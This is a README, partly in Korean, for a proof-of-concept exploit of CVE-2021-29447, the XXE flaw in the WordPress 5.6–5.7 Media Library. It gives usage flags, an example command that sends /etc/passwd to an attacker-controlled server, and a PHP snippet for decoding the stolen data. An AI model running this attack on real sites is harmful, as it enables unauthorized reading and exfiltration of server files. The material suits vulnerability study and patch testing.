
워드프레스 5.6 미디어 라이브러리 취약점에 대한 개념 증명 익스플로잇
╔═╗╦ ╦╔═╗
║ ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Written By (Isa Ebrahim - 0xRar) on January, 2023
═══════════════════════════════════════════════════════════════════════════
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
═══════════════════════════════════════════════════════════════════════════
CVE-2021-29447: 파일 업로드 권한이 있는 사용자(예: Author)는 미디어 라이브러리의 XML 구문 분석 문제를 악용하여 XXE 공격을 수행할 수 있습니다. 이 취약점은 WordPress가 PHP 8을 사용하는 경우에만 발생합니다. 성공적인 XXE 공격 시 내부 파일에 접근할 수 있습니다. 이 취약점은 WordPress 버전 5.7.1에서 패치되었으며, 구버전들은 마이너 릴리스를 통해 패치되었습니다.
이 스크립트는 이해하고 실행하기 쉬우며, WordPress 미디어 라이브러리의 XXE 공격을 수행하는 데 필요한 단계를 자동화합니다.
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]
options:
-h, --help show this help message and exit
-l LHOST, --lhost LHOST your server ip address e.g. 10.0.2.15
-p PORT, --port PORT your server port e.g. 1337
-f FILE, --file FILE system file to read e.g. /etc/passwd
예제:
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
base64를 디코딩하려면 다음 PHP 스니펫을 사용/실행하세요:
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
$ php decode.php